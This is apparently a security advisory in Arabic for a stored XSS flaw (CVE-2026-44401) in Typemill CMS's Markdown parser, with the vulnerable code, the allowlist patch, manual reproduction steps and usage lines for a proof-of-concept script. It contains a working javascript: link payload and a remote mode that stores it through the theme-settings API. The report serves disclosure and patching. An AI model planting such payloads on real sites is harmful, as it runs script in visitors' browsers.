
XSS مخزنة في Typemill CMS: محلل Markdown يسمح بمرور روابط javascript: دون تصفية. تقرير + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب) |
| Affected | typemill/typemill >= 2.0.0, < 2.23.0 |
| Fixed in | v2.23.0 (commit 31b72ea) |
| Auth required | نعم، أي دور يتمتع بحقوق system:update في ACL (المسؤول أو المدير افتراضيًا) |
| CVSS (reporter) | 7.6 / متوسط-مرتفع |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| Credit | sn0x (@sn0x-sharma) |
| Advisory | VulnCheck |
التقييم متوسط وليس حرجًا لأنه يتطلب
PR:H(امتياز إعداد السمة) +UI:A(يجب على الضحية النقر على الرابط) — لكن الحمولة مخزنة، لذا تُنفَّذ لدى كل زائر ينقر عليه.
Typemill هو نظام إدارة محتوى (CMS) يعتمد على ملفات نصية مسطّحة بصيغة Markdown. لا يتحقق محلل Markdown الخاص به من مخطط (scheme) URI لأهداف الروابط قبل كتابتها في خاصية href. يمكن لأي مستخدم يملك صلاحية إعداد السمة (مثل حقل النص Landingpage Intro Segment، الذي يقبل Markdown خام) تخزين رابط javascript:. يُعرض الرابط دون تهريب على الصفحة الرئيسية العامة ويُنفَّذ في متصفح أي شخص ينقر عليه — XSS دائم (مخزّن).
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php، الأسطر 934–996 (v2.22.0، آخر إصدار مُعرَّض للثغرة).
الروابط النسبية وروابط media/ تحصل على بادئة عنوان أساس (base-URL)، لكن لا يوجد أي فحص لمخطط (scheme) URI قبل إسناده إلى href:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
مسار العرض لهذا الموضع (sink) المحدد: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. أي حقل سمة آخر يمرّر Markdown الخاص بالمستخدم عبر نفس المحلل يكون متأثرًا بالمثل.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
نفس القائمة البيضاء (http، https، mailto، ftp) التي اقترحها التقرير الأصلي. تم تأكيد ذلك بمقارنة ملف ParsedownExtension.php بين الوسمين v2.22.0 وv2.23.0.
مسارات إعدادات السمة (GET /tm/themes، POST /api/v1/theme) مقيّدة بمورد ACL الخاص بـ system/update — وفقًا لتعريفات المسارات الخاصة بـ Typemill نفسها (routes/web.php، routes/api.php) يُمنح هذا لدور manager افتراضيًا، وليس للمسؤول فقط. لذا فإن التعرض للثغرة لا يقتصر على حساب المسؤول الأعلى مستوى.
سجّل الدخول كمستخدم يملك صلاحية إعداد السمة → System → Themes → Configure (السمة النشطة، مثل Cyanine).
وسّع Landingpage Intro Segment → في "Text for your landingpage intro (use markdown)"، أدخل:
[Click me](javascript:alert(document.domain))
احفظ. قم بزيارة الصفحة الرئيسية كأي مستخدم وانقر على الرابط → يتم تنفيذ JavaScript في جلسة ذلك الزائر.
CVE-2026-44401_POC.py - وضعان:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
إعادة إنتاج يدوية بسيطة (وهي الطريقة التي تم بها التحقق من التقرير):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>